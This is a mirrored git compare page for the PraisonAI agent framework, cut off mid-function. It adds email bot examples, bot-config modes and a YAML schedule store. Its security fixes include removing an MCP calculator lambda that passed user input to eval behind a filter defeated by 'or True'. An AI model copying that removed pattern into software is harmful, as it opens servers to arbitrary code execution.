mirror of
https://github.com/MervinPraison/PraisonAI.git
synced 2026-11-11 03:31:27 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
85ae215025 | ||
|
|
056e4f5baa | ||
|
|
8f06d18e5a | ||
|
|
f8c6f32d00 | ||
|
|
69ff8e7f03 | ||
|
|
feaa81b68f | ||
|
|
39406e904f | ||
|
|
2bb37b1076 | ||
|
|
cc36ac1cf8 | ||
|
|
a041a76f0d | ||
|
|
f77cca9931 | ||
|
|
ef176298b9 | ||
|
|
31f5cbb1cf | ||
|
|
85ec6cba90 | ||
|
|
c77259eda7 | ||
|
|
e69e726ca6 | ||
|
|
3130ae4e19 | ||
|
|
c872be20ed | ||
|
|
4548783a40 | ||
|
|
5b1c39d496 | ||
|
|
1e3933f5f3 | ||
|
|
203ebe4960 | ||
|
|
e144d840bb | ||
|
|
47bff65413 | ||
|
|
66bd9ee2a9 | ||
|
|
1dd5d7e706 | ||
|
|
fee74fab53 | ||
|
|
003f9371a1 | ||
|
|
7234cd5682 | ||
|
|
4373fb3adb | ||
|
|
e87dd8e37a | ||
|
|
872cd87638 | ||
|
|
8ea0065f83 | ||
|
|
e922eb1e64 |
No files matched your search
@@ -50,16 +50,11 @@ PraisonAI 🦞 — Automate and solve complex challenges with AI agent teams tha
|
||||
|
||||
## ⚡ Performance
|
||||
|
||||
PraisonAI Agents is the **fastest AI agent framework** for agent instantiation.
|
||||
PraisonAI is built for speed, with agent instantiation in under 4μs. This reduces overhead, improves responsiveness, and helps multi-agent systems scale efficiently in real-world production workloads.
|
||||
|
||||
| Framework | Avg Time (μs) | Relative |
|
||||
|-----------|---------------|----------|
|
||||
| **PraisonAI** | **3.77** | **1.00x (fastest)** |
|
||||
| OpenAI Agents SDK | 5.26 | 1.39x |
|
||||
| Agno | 5.64 | 1.49x |
|
||||
| PraisonAI (LiteLLM) | 7.56 | 2.00x |
|
||||
| PydanticAI | 226.94 | 60.16x |
|
||||
| LangGraph | 4,558.71 | 1,209x |
|
||||
| Performance Metric | PraisonAI |
|
||||
|--------------------|-----------|
|
||||
| Avg Instantiation Time | **3.77 μs** |
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -784,8 +784,10 @@ Methods:
|
||||
* <code title="cli">praisonai benchmark profile <a href="./src/praisonai/praisonai/cli/commands/benchmark.py">--help</a></code>
|
||||
* <code title="cli">praisonai benchmark sdk <a href="./src/praisonai/praisonai/cli/commands/benchmark.py">--help</a></code>
|
||||
* <code title="cli">praisonai benchmark workflow <a href="./src/praisonai/praisonai/cli/commands/benchmark.py">--help</a></code>
|
||||
* <code title="cli">praisonai bot agentmail <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
|
||||
* <code title="cli">praisonai bot bot-callback <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
|
||||
* <code title="cli">praisonai bot discord <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
|
||||
* <code title="cli">praisonai bot email <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
|
||||
* <code title="cli">praisonai bot slack <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
|
||||
* <code title="cli">praisonai bot start <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
|
||||
* <code title="cli">praisonai bot telegram <a href="./src/praisonai/praisonai/cli/commands/bot.py">--help</a></code>
|
||||
|
||||
@@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison
|
||||
# Install Python packages (using latest versions)
|
||||
RUN pip install --no-cache-dir \
|
||||
praisonai_tools \
|
||||
"praisonai>=4.5.63" \
|
||||
"praisonai>=4.5.80" \
|
||||
"praisonai[chat]" \
|
||||
"embedchain[github,youtube]"
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ RUN mkdir -p /root/.praison
|
||||
# Install Python packages (using latest versions)
|
||||
RUN pip install --no-cache-dir \
|
||||
praisonai_tools \
|
||||
"praisonai>=4.5.63" \
|
||||
"praisonai>=4.5.80" \
|
||||
"praisonai[ui]" \
|
||||
"praisonai[chat]" \
|
||||
"praisonai[realtime]" \
|
||||
|
||||
@@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison
|
||||
# Install Python packages (using latest versions)
|
||||
RUN pip install --no-cache-dir \
|
||||
praisonai_tools \
|
||||
"praisonai>=4.5.63" \
|
||||
"praisonai>=4.5.80" \
|
||||
"praisonai[ui]" \
|
||||
"praisonai[crewai]"
|
||||
|
||||
|
||||
@@ -23,12 +23,22 @@ def main():
|
||||
@register_tool("custom.calculate")
|
||||
def calculate(expression: str) -> str:
|
||||
"""Safely evaluate a mathematical expression."""
|
||||
import ast
|
||||
import operator
|
||||
try:
|
||||
# Only allow safe math operations
|
||||
allowed = set("0123456789+-*/.(). ")
|
||||
if not all(c in allowed for c in expression):
|
||||
return "Error: Invalid characters in expression"
|
||||
result = eval(expression) # Safe due to character filtering
|
||||
# Use ast.parse for safe evaluation of math expressions
|
||||
tree = ast.parse(expression, mode='eval')
|
||||
# Only allow numeric literals and basic math operators
|
||||
for node in ast.walk(tree):
|
||||
if not isinstance(node, (ast.Expression, ast.BinOp, ast.UnaryOp,
|
||||
ast.Constant, ast.Add, ast.Sub, ast.Mult,
|
||||
ast.Div, ast.USub, ast.UAdd)):
|
||||
return "Error: Only basic math operations are allowed"
|
||||
result = eval(compile(tree, '<expr>', 'eval'), {"__builtins__": {}})
|
||||
return f"Result: {result}"
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
@@ -0,0 +1,216 @@
|
||||
"""
|
||||
Email Bot Example — Deploy an AI Agent to Your Mailbox
|
||||
|
||||
This example shows how to deploy PraisonAI agents as email bots
|
||||
using IMAP/SMTP. The bot monitors an inbox, processes incoming emails,
|
||||
and replies intelligently using an LLM-powered agent.
|
||||
|
||||
Supported providers:
|
||||
- Gmail (with App Password)
|
||||
- Outlook/Microsoft 365
|
||||
- Any IMAP/SMTP server
|
||||
|
||||
Environment Variables:
|
||||
export OPENAI_API_KEY=your_key
|
||||
export [email protected]
|
||||
export EMAIL_APP_PASSWORD=your_app_password
|
||||
export EMAIL_IMAP_SERVER=imap.gmail.com # optional, default: imap.gmail.com
|
||||
export EMAIL_SMTP_SERVER=smtp.gmail.com # optional, default: smtp.gmail.com
|
||||
|
||||
Usage:
|
||||
python bot_email_example.py
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import os
|
||||
from praisonaiagents import Agent
|
||||
|
||||
|
||||
# ── Example 1: Minimal — Bot() wrapper (recommended) ──────────────
|
||||
|
||||
def example_minimal():
|
||||
"""Minimal email bot — 3 lines to start."""
|
||||
from praisonai.bots import Bot
|
||||
|
||||
agent = Agent(
|
||||
name="email_assistant",
|
||||
instructions="You are a helpful email assistant. Reply concisely and professionally.",
|
||||
llm="gpt-4o-mini",
|
||||
)
|
||||
|
||||
# Token and server resolved from env vars automatically:
|
||||
# EMAIL_APP_PASSWORD, EMAIL_ADDRESS, EMAIL_IMAP_SERVER, EMAIL_SMTP_SERVER
|
||||
bot = Bot("email", agent=agent)
|
||||
bot.run() # Blocks until Ctrl+C
|
||||
|
||||
|
||||
# ── Example 2: Custom configuration ───────────────────────────────
|
||||
|
||||
def example_with_config():
|
||||
"""Email bot with explicit configuration."""
|
||||
from praisonai.bots import Bot
|
||||
from praisonaiagents import BotConfig
|
||||
|
||||
config = BotConfig(
|
||||
polling_interval=30.0, # Check inbox every 30s
|
||||
allowed_users=[ # Only respond to these senders
|
||||
"[email protected]",
|
||||
"[email protected]",
|
||||
],
|
||||
max_message_length=10000, # Allow long email replies
|
||||
session_ttl=86400, # Clear session after 24h inactivity
|
||||
metadata={
|
||||
"imap_folder": "INBOX", # Which folder to monitor
|
||||
},
|
||||
)
|
||||
|
||||
agent = Agent(
|
||||
name="support_agent",
|
||||
instructions="""You are a technical support agent for ExampleCo.
|
||||
|
||||
Guidelines:
|
||||
- Be professional and empathetic
|
||||
- Provide clear step-by-step solutions
|
||||
- If you don't know the answer, escalate to [email protected]
|
||||
- Keep replies under 500 words
|
||||
""",
|
||||
llm="gpt-4o-mini",
|
||||
)
|
||||
|
||||
bot = Bot("email", agent=agent, config=config)
|
||||
bot.run()
|
||||
|
||||
|
||||
# ── Example 3: Direct EmailBot with custom handlers ──────────────
|
||||
|
||||
def example_direct():
|
||||
"""Direct EmailBot usage with custom message handler and commands."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
agent = Agent(
|
||||
name="smart_inbox",
|
||||
instructions="You help triage and respond to support emails.",
|
||||
llm="gpt-4o-mini",
|
||||
)
|
||||
|
||||
bot = EmailBot(
|
||||
token=os.environ.get("EMAIL_APP_PASSWORD", ""),
|
||||
agent=agent,
|
||||
email_address=os.environ.get("EMAIL_ADDRESS", ""),
|
||||
imap_server=os.environ.get("EMAIL_IMAP_SERVER", "imap.gmail.com"),
|
||||
smtp_server=os.environ.get("EMAIL_SMTP_SERVER", "smtp.gmail.com"),
|
||||
)
|
||||
|
||||
# Custom message handler — runs on every incoming email
|
||||
@bot.on_message
|
||||
async def log_incoming(message):
|
||||
print(f"📧 New email from: {message.sender.username}")
|
||||
print(f" Subject: {message.metadata.get('subject', '(no subject)')}")
|
||||
|
||||
# Custom command — triggered when subject starts with "/status"
|
||||
@bot.on_command("status")
|
||||
async def handle_status(message):
|
||||
await bot.send_message(
|
||||
channel_id=message.sender.user_id,
|
||||
content={
|
||||
"subject": "Re: Bot Status",
|
||||
"body": f"🤖 Bot is running!\nProcessed emails: {bot._emails_processed}",
|
||||
},
|
||||
reply_to=message.message_id,
|
||||
)
|
||||
|
||||
asyncio.run(bot.start())
|
||||
|
||||
|
||||
# ── Example 4: Multi-platform with BotOS ─────────────────────────
|
||||
|
||||
def example_multi_platform():
|
||||
"""Run email bot alongside Telegram and Discord bots."""
|
||||
from praisonai.bots import BotOS, Bot
|
||||
|
||||
agent = Agent(
|
||||
name="omni_assistant",
|
||||
instructions="You are a helpful assistant available on email, Telegram, and Discord.",
|
||||
llm="gpt-4o-mini",
|
||||
)
|
||||
|
||||
botos = BotOS(agent=agent, platforms=["email", "telegram", "discord"])
|
||||
botos.run() # All three bots run concurrently
|
||||
|
||||
|
||||
# ── Example 5: Probe connectivity ─────────────────────────────────
|
||||
|
||||
async def example_probe():
|
||||
"""Test email server connectivity without starting the bot."""
|
||||
from praisonai.bots import Bot
|
||||
|
||||
bot = Bot("email")
|
||||
result = await bot.probe()
|
||||
|
||||
print(f"Connection OK: {result.ok}")
|
||||
print(f"Platform: {result.platform}")
|
||||
if result.bot_username:
|
||||
print(f"Email: {result.bot_username}")
|
||||
if result.error:
|
||||
print(f"Error: {result.error}")
|
||||
print(f"Latency: {result.elapsed_ms:.0f}ms")
|
||||
|
||||
|
||||
# ── Example 6: YAML config (for praisonai bot CLI) ───────────────
|
||||
|
||||
YAML_EXAMPLE = """
|
||||
# bot.yaml — Save this file and run: praisonai bot --config bot.yaml
|
||||
agent:
|
||||
name: email_support
|
||||
instructions: >
|
||||
You are a professional support agent.
|
||||
Reply concisely and helpfully.
|
||||
llm: gpt-4o-mini
|
||||
tools:
|
||||
- search_web
|
||||
|
||||
platforms:
|
||||
email:
|
||||
token: ${EMAIL_APP_PASSWORD}
|
||||
"""
|
||||
|
||||
|
||||
# ── Main ──────────────────────────────────────────────────────────
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
|
||||
examples = {
|
||||
"minimal": ("Minimal email bot", example_minimal),
|
||||
"config": ("With custom config", example_with_config),
|
||||
"direct": ("Direct EmailBot with handlers", example_direct),
|
||||
"multi": ("Multi-platform (email+telegram+discord)", example_multi_platform),
|
||||
"probe": ("Test connectivity", lambda: asyncio.run(example_probe())),
|
||||
}
|
||||
|
||||
if len(sys.argv) > 1 and sys.argv[1] in examples:
|
||||
name = sys.argv[1]
|
||||
desc, fn = examples[name]
|
||||
print(f"Running: {desc}")
|
||||
fn()
|
||||
else:
|
||||
print("PraisonAI Email Bot Examples")
|
||||
print("=" * 40)
|
||||
print()
|
||||
print("Usage: python bot_email_example.py <example>")
|
||||
print()
|
||||
print("Available examples:")
|
||||
for key, (desc, _) in examples.items():
|
||||
print(f" {key:10s} {desc}")
|
||||
print()
|
||||
print("Required environment variables:")
|
||||
print(" OPENAI_API_KEY Your OpenAI API key")
|
||||
print(" EMAIL_ADDRESS Bot's email address")
|
||||
print(" EMAIL_APP_PASSWORD App password (Gmail: myaccount.google.com/apppasswords)")
|
||||
print()
|
||||
print("Optional:")
|
||||
print(" EMAIL_IMAP_SERVER IMAP server (default: imap.gmail.com)")
|
||||
print(" EMAIL_SMTP_SERVER SMTP server (default: smtp.gmail.com)")
|
||||
print()
|
||||
print("YAML config example:")
|
||||
print(YAML_EXAMPLE)
|
||||
@@ -44,12 +44,20 @@ def main():
|
||||
|
||||
def calculate(expression: str) -> str:
|
||||
"""Calculate a math expression safely."""
|
||||
import ast
|
||||
try:
|
||||
# Safe eval for basic math
|
||||
allowed = set("0123456789+-*/.() ")
|
||||
if all(c in allowed for c in expression):
|
||||
return str(eval(expression))
|
||||
return "Error: Invalid expression"
|
||||
if not all(c in allowed for c in expression):
|
||||
return "Error: Invalid expression"
|
||||
# Use ast.parse to validate expression safety
|
||||
tree = ast.parse(expression, mode='eval')
|
||||
for node in ast.walk(tree):
|
||||
if not isinstance(node, (ast.Expression, ast.BinOp, ast.UnaryOp,
|
||||
ast.Constant, ast.Add, ast.Sub, ast.Mult,
|
||||
ast.Div, ast.USub, ast.UAdd)):
|
||||
return "Error: Only basic math operations are allowed"
|
||||
return str(eval(compile(tree, '<expr>', 'eval'), {"__builtins__": {}}))
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
|
||||
@@ -135,9 +135,30 @@ def main():
|
||||
return {"error": str(e)}
|
||||
|
||||
# MCP endpoints
|
||||
def safe_calculate(expression: str) -> str:
|
||||
"""Safely evaluate a mathematical expression using AST."""
|
||||
import ast
|
||||
try:
|
||||
# Only allow safe math characters
|
||||
allowed = set("0123456789+-*/.() ")
|
||||
if not all(c in allowed for c in expression):
|
||||
return "Error: Invalid characters in expression"
|
||||
# Use ast.parse for safe evaluation
|
||||
tree = ast.parse(expression, mode='eval')
|
||||
# Only allow numeric literals and basic math operators
|
||||
for node in ast.walk(tree):
|
||||
if not isinstance(node, (ast.Expression, ast.BinOp, ast.UnaryOp,
|
||||
ast.Constant, ast.Add, ast.Sub, ast.Mult,
|
||||
ast.Div, ast.USub, ast.UAdd)):
|
||||
return "Error: Only basic math operations are allowed"
|
||||
result = eval(compile(tree, '<expr>', 'eval'), {"__builtins__": {}})
|
||||
return str(result)
|
||||
except Exception as e:
|
||||
return f"Error: {e}"
|
||||
|
||||
mcp_tools = {
|
||||
"search": {"description": "Search the web", "func": lambda q: f"Results for: {q}"},
|
||||
"calculate": {"description": "Calculate expression", "func": lambda e: str(eval(e)) if e.replace(" ", "").replace("+", "").replace("-", "").replace("*", "").replace("/", "").replace(".", "").isdigit() or True else "Error"},
|
||||
"calculate": {"description": "Calculate expression", "func": safe_calculate},
|
||||
}
|
||||
|
||||
@app.get("/mcp/tools")
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
# PraisonAI AgentMail Bot Configuration (Zero-Code)
|
||||
#
|
||||
# AgentMail = API-first email (no IMAP/SMTP). Programmatic inboxes.
|
||||
#
|
||||
# Usage:
|
||||
# praisonai bot start --config agentmail-bot.yaml
|
||||
#
|
||||
# Requires:
|
||||
# pip install praisonai agentmail
|
||||
# export AGENTMAIL_API_KEY=am_...
|
||||
#
|
||||
# Optional env vars:
|
||||
# AGENTMAIL_INBOX_ID=inbox_... (reuse existing inbox)
|
||||
# AGENTMAIL_DOMAIN=mycompany.com (custom domain for new inboxes)
|
||||
|
||||
# Agent configuration
|
||||
agent:
|
||||
name: "Email Assistant"
|
||||
instructions: "You are a helpful email assistant. Keep replies concise and professional."
|
||||
model: "gpt-4o-mini"
|
||||
memory: true
|
||||
|
||||
# Channel configuration (multi-channel format)
|
||||
channels:
|
||||
agentmail:
|
||||
token: "${AGENTMAIL_API_KEY}"
|
||||
# Optional: inbox_id, domain are resolved from env vars automatically
|
||||
@@ -93,4 +93,5 @@ chroma_db/
|
||||
|
||||
.praisonai
|
||||
.windsurf
|
||||
.agent
|
||||
.agent
|
||||
.sfdx
|
||||
@@ -1,3 +1,5 @@
|
||||
import os
|
||||
|
||||
from praisonaiagents import Agent, Task, AgentTeam
|
||||
from praisonaiagents.memory import Memory
|
||||
from praisonaiagents.agent import ContextAgent
|
||||
@@ -10,7 +12,7 @@ context_output = context_agent.start("https://github.com/MervinPraison/PraisonAI
|
||||
mongodb_memory_config = {
|
||||
"provider": "mongodb",
|
||||
"config": {
|
||||
"connection_string": "mongodb+srv://username:[email protected]/?retryWrites=true&w=majority&appName=Cluster2",
|
||||
"connection_string": os.environ.get("MONGODB_CONNECTION_STRING", "mongodb+srv://localhost:27017/?retryWrites=true&w=majority"),
|
||||
"database": "praisonai_memory",
|
||||
"use_vector_search": True,
|
||||
"max_pool_size": 50,
|
||||
@@ -49,7 +51,7 @@ print("\n=== MEMORY VALIDATION ===")
|
||||
|
||||
try:
|
||||
# Check MongoDB connection and collections
|
||||
client = pymongo.MongoClient("mongodb+srv://username:[email protected]/?retryWrites=true&w=majority&appName=Cluster2")
|
||||
client = pymongo.MongoClient(os.environ.get("MONGODB_CONNECTION_STRING", "mongodb+srv://localhost:27017/?retryWrites=true&w=majority"))
|
||||
db = client["praisonai_memory"]
|
||||
collections = db.list_collection_names()
|
||||
print(f"Available collections: {collections}")
|
||||
|
||||
@@ -22,6 +22,8 @@ if TYPE_CHECKING:
|
||||
ChatCommandProtocol,
|
||||
ProbeResult,
|
||||
HealthResult,
|
||||
EmailProtocol,
|
||||
EmailInbox,
|
||||
)
|
||||
from .protocols import (
|
||||
BotProtocol,
|
||||
@@ -37,6 +39,8 @@ from .protocols import (
|
||||
BotOSProtocol,
|
||||
ProbeResult,
|
||||
HealthResult,
|
||||
EmailProtocol,
|
||||
EmailInbox,
|
||||
)
|
||||
from .config import BotConfig, BotOSConfig
|
||||
|
||||
@@ -56,4 +60,6 @@ __all__ = [
|
||||
"BotOSConfig",
|
||||
"ProbeResult",
|
||||
"HealthResult",
|
||||
"EmailProtocol",
|
||||
"EmailInbox",
|
||||
]
|
||||
@@ -29,8 +29,10 @@ class BotConfig:
|
||||
"""
|
||||
|
||||
token: str = ""
|
||||
mode: str = "poll" # poll | ws | webhook | hybrid
|
||||
webhook_url: Optional[str] = None
|
||||
webhook_path: str = "/webhook"
|
||||
webhook_port: int = 8080
|
||||
polling_interval: float = 1.0
|
||||
allowed_users: List[str] = field(default_factory=list)
|
||||
allowed_channels: List[str] = field(default_factory=list)
|
||||
@@ -77,8 +79,10 @@ class BotConfig:
|
||||
"""Convert to dictionary (hides sensitive data)."""
|
||||
return {
|
||||
"token": "***" if self.token else None,
|
||||
"mode": self.mode,
|
||||
"webhook_url": self.webhook_url,
|
||||
"webhook_path": self.webhook_path,
|
||||
"webhook_port": self.webhook_port,
|
||||
"polling_interval": self.polling_interval,
|
||||
"allowed_users": self.allowed_users,
|
||||
"allowed_channels": self.allowed_channels,
|
||||
@@ -102,7 +106,17 @@ class BotConfig:
|
||||
@property
|
||||
def is_webhook_mode(self) -> bool:
|
||||
"""Whether bot is configured for webhook mode."""
|
||||
return bool(self.webhook_url)
|
||||
return self.mode == "webhook" or bool(self.webhook_url)
|
||||
|
||||
@property
|
||||
def is_ws_mode(self) -> bool:
|
||||
"""Whether bot is configured for WebSocket mode."""
|
||||
return self.mode == "ws"
|
||||
|
||||
@property
|
||||
def is_hybrid_mode(self) -> bool:
|
||||
"""Whether bot is configured for hybrid mode (WS + slow poll)."""
|
||||
return self.mode == "hybrid"
|
||||
|
||||
def is_user_allowed(self, user_id: str) -> bool:
|
||||
"""Check if a user is allowed to interact with the bot."""
|
||||
|
||||
@@ -613,6 +613,96 @@ class ChatCommandProtocol(Protocol):
|
||||
...
|
||||
|
||||
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
# EmailProtocol — email-specific bot capabilities
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
|
||||
@dataclass
|
||||
class EmailInbox:
|
||||
"""Information about an email inbox.
|
||||
|
||||
Attributes:
|
||||
id: Unique inbox identifier
|
||||
email_address: The inbox's email address
|
||||
domain: Domain of the inbox
|
||||
created_at: When the inbox was created (ISO format)
|
||||
"""
|
||||
|
||||
id: str
|
||||
email_address: str
|
||||
domain: str = ""
|
||||
created_at: Optional[str] = None
|
||||
|
||||
def to_dict(self) -> Dict[str, Any]:
|
||||
"""Convert to dictionary."""
|
||||
return {
|
||||
"id": self.id,
|
||||
"email_address": self.email_address,
|
||||
"domain": self.domain,
|
||||
"created_at": self.created_at,
|
||||
}
|
||||
|
||||
|
||||
@runtime_checkable
|
||||
class EmailProtocol(Protocol):
|
||||
"""Protocol for email bots with inbox lifecycle management.
|
||||
|
||||
Extends BotProtocol with email-specific capabilities like
|
||||
programmatic inbox creation, listing, and deletion.
|
||||
|
||||
This protocol is optional — only AgentMail-style bots that
|
||||
support API-based inbox management need to implement it.
|
||||
Traditional IMAP/SMTP bots (EmailBot) do not implement this.
|
||||
|
||||
Example:
|
||||
# Check if a bot supports inbox management
|
||||
if isinstance(bot, EmailProtocol):
|
||||
inbox = await bot.create_inbox(domain="mycompany.com")
|
||||
print(f"Created: {inbox['email_address']}")
|
||||
"""
|
||||
|
||||
@property
|
||||
def email_address(self) -> Optional[str]:
|
||||
"""The bot's current email address."""
|
||||
...
|
||||
|
||||
async def create_inbox(
|
||||
self,
|
||||
domain: Optional[str] = None,
|
||||
**kwargs,
|
||||
) -> Dict[str, Any]:
|
||||
"""Create a new email inbox programmatically.
|
||||
|
||||
Args:
|
||||
domain: Optional custom domain for the inbox
|
||||
**kwargs: Additional provider-specific parameters
|
||||
|
||||
Returns:
|
||||
Dict with at least 'id' and 'email_address' keys
|
||||
"""
|
||||
...
|
||||
|
||||
async def list_inboxes(self) -> List[Dict[str, Any]]:
|
||||
"""List all inboxes accessible to this bot.
|
||||
|
||||
Returns:
|
||||
List of inbox dicts with 'id' and 'email_address' keys
|
||||
"""
|
||||
...
|
||||
|
||||
async def delete_inbox(self, inbox_id: str) -> bool:
|
||||
"""Delete an inbox.
|
||||
|
||||
Args:
|
||||
inbox_id: ID of the inbox to delete
|
||||
|
||||
Returns:
|
||||
True if deleted successfully
|
||||
"""
|
||||
...
|
||||
|
||||
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
# BotOS Protocol — multi-platform bot orchestration
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
@@ -361,6 +361,16 @@ def get_project_prp_dir(project_path: Optional[Union[str, Path]] = None) -> Path
|
||||
return get_project_data_dir(project_path) / "prp"
|
||||
|
||||
|
||||
def get_config_path() -> Path:
|
||||
"""
|
||||
Get path to the main config.yaml file.
|
||||
|
||||
Returns:
|
||||
Path to ~/.praisonai/config.yaml
|
||||
"""
|
||||
return get_data_dir() / "config.yaml"
|
||||
|
||||
|
||||
def get_schedules_dir() -> Path:
|
||||
"""
|
||||
Get schedules directory.
|
||||
|
||||
@@ -14,17 +14,19 @@ Usage:
|
||||
)
|
||||
agent.start("Remind me to check email every morning at 7am")
|
||||
|
||||
Default storage: ~/.praisonai/schedules/jobs.json
|
||||
Default storage: ~/.praisonai/config.yaml (under ``schedules`` key)
|
||||
"""
|
||||
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from .models import Schedule, ScheduleJob, DeliveryTarget
|
||||
from .models import Schedule, ScheduleJob, DeliveryTarget, RunRecord
|
||||
from .store import FileScheduleStore
|
||||
from .config_store import ConfigYamlScheduleStore
|
||||
from .parser import parse_schedule
|
||||
from .runner import ScheduleRunner
|
||||
from .loop import ScheduleLoop
|
||||
from .protocols import ScheduleStoreProtocol
|
||||
|
||||
_module_cache = {}
|
||||
|
||||
@@ -34,11 +36,12 @@ def __getattr__(name: str):
|
||||
if name in _module_cache:
|
||||
return _module_cache[name]
|
||||
|
||||
if name in ("Schedule", "ScheduleJob", "DeliveryTarget"):
|
||||
from .models import Schedule, ScheduleJob, DeliveryTarget
|
||||
if name in ("Schedule", "ScheduleJob", "DeliveryTarget", "RunRecord"):
|
||||
from .models import Schedule, ScheduleJob, DeliveryTarget, RunRecord
|
||||
_module_cache["Schedule"] = Schedule
|
||||
_module_cache["ScheduleJob"] = ScheduleJob
|
||||
_module_cache["DeliveryTarget"] = DeliveryTarget
|
||||
_module_cache["RunRecord"] = RunRecord
|
||||
return _module_cache[name]
|
||||
|
||||
if name == "FileScheduleStore":
|
||||
@@ -61,6 +64,16 @@ def __getattr__(name: str):
|
||||
_module_cache[name] = ScheduleLoop
|
||||
return ScheduleLoop
|
||||
|
||||
if name == "ConfigYamlScheduleStore":
|
||||
from .config_store import ConfigYamlScheduleStore
|
||||
_module_cache[name] = ConfigYamlScheduleStore
|
||||
return ConfigYamlScheduleStore
|
||||
|
||||
if name == "ScheduleStoreProtocol":
|
||||
from .protocols import ScheduleStoreProtocol
|
||||
_module_cache[name] = ScheduleStoreProtocol
|
||||
return ScheduleStoreProtocol
|
||||
|
||||
raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
|
||||
|
||||
|
||||
@@ -68,8 +81,11 @@ __all__ = [
|
||||
"Schedule",
|
||||
"ScheduleJob",
|
||||
"DeliveryTarget",
|
||||
"RunRecord",
|
||||
"FileScheduleStore",
|
||||
"ConfigYamlScheduleStore",
|
||||
"parse_schedule",
|
||||
"ScheduleRunner",
|
||||
"ScheduleLoop",
|
||||
"ScheduleStoreProtocol",
|
||||
]
|
||||
@@ -0,0 +1,257 @@
|
||||
"""
|
||||
Config YAML-based schedule store for PraisonAI Agents.
|
||||
|
||||
Persists scheduled jobs to ``~/.praisonai/config.yaml`` under
|
||||
the ``schedules`` top-level key. Thread-safe, preserves all
|
||||
other config.yaml content.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import threading
|
||||
import time
|
||||
from typing import Dict, List, Optional
|
||||
|
||||
from .models import ScheduleJob, RunRecord
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_HISTORY_FILE = "run_history.yaml"
|
||||
_MAX_HISTORY = 200
|
||||
|
||||
|
||||
class ConfigYamlScheduleStore:
|
||||
"""CRUD store backed by ``config.yaml``.
|
||||
|
||||
Schedules are stored as a dict under the ``schedules`` key,
|
||||
alongside existing keys like ``agents``, ``server``, etc.
|
||||
|
||||
Thread-safe for multi-agent scenarios.
|
||||
"""
|
||||
|
||||
def __init__(self, config_path: Optional[str] = None, max_history: int = _MAX_HISTORY):
|
||||
if config_path is None:
|
||||
from ..paths import get_data_dir
|
||||
config_path = str(get_data_dir() / "config.yaml")
|
||||
self._path = config_path
|
||||
self._history_path = os.path.join(os.path.dirname(config_path), _HISTORY_FILE)
|
||||
self._max_history = max_history
|
||||
self._lock = threading.RLock()
|
||||
self._jobs: Dict[str, ScheduleJob] = {}
|
||||
self._history: List[RunRecord] = []
|
||||
self._load()
|
||||
self._load_history()
|
||||
|
||||
# ── public API ───────────────────────────────────────────────────
|
||||
|
||||
def add(self, job: ScheduleJob) -> None:
|
||||
"""Add a job. Raises ``ValueError`` if id already exists."""
|
||||
with self._lock:
|
||||
if job.id in self._jobs:
|
||||
raise ValueError(f"Job '{job.id}' already exists")
|
||||
self._jobs[job.id] = job
|
||||
self._save()
|
||||
|
||||
def get(self, job_id: str) -> Optional[ScheduleJob]:
|
||||
with self._lock:
|
||||
return self._jobs.get(job_id)
|
||||
|
||||
def get_by_name(self, name: str) -> Optional[ScheduleJob]:
|
||||
with self._lock:
|
||||
for job in self._jobs.values():
|
||||
if job.name == name:
|
||||
return job
|
||||
return None
|
||||
|
||||
def list(self, agent_id: Optional[str] = None) -> List[ScheduleJob]:
|
||||
with self._lock:
|
||||
jobs = list(self._jobs.values())
|
||||
if agent_id is not None:
|
||||
jobs = [j for j in jobs if j.agent_id == agent_id]
|
||||
return jobs
|
||||
|
||||
def update(self, job: ScheduleJob) -> None:
|
||||
with self._lock:
|
||||
self._jobs[job.id] = job
|
||||
self._save()
|
||||
|
||||
def remove(self, job_id: str) -> bool:
|
||||
with self._lock:
|
||||
if job_id in self._jobs:
|
||||
del self._jobs[job_id]
|
||||
self._save()
|
||||
return True
|
||||
return False
|
||||
|
||||
def remove_by_name(self, name: str) -> bool:
|
||||
with self._lock:
|
||||
for jid, job in list(self._jobs.items()):
|
||||
if job.name == name:
|
||||
del self._jobs[jid]
|
||||
self._save()
|
||||
return True
|
||||
return False
|
||||
|
||||
# ── execution history ─────────────────────────────────────────────
|
||||
|
||||
def log_run(
|
||||
self,
|
||||
job_id: str,
|
||||
status: str,
|
||||
result: Optional[str] = None,
|
||||
error: Optional[str] = None,
|
||||
duration: float = 0.0,
|
||||
delivered: bool = False,
|
||||
job_name: str = "",
|
||||
) -> None:
|
||||
"""Log an execution run for a job."""
|
||||
record = RunRecord(
|
||||
job_id=job_id,
|
||||
job_name=job_name,
|
||||
status=status,
|
||||
result=result[:2000] if result and len(result) > 2000 else result,
|
||||
error=error,
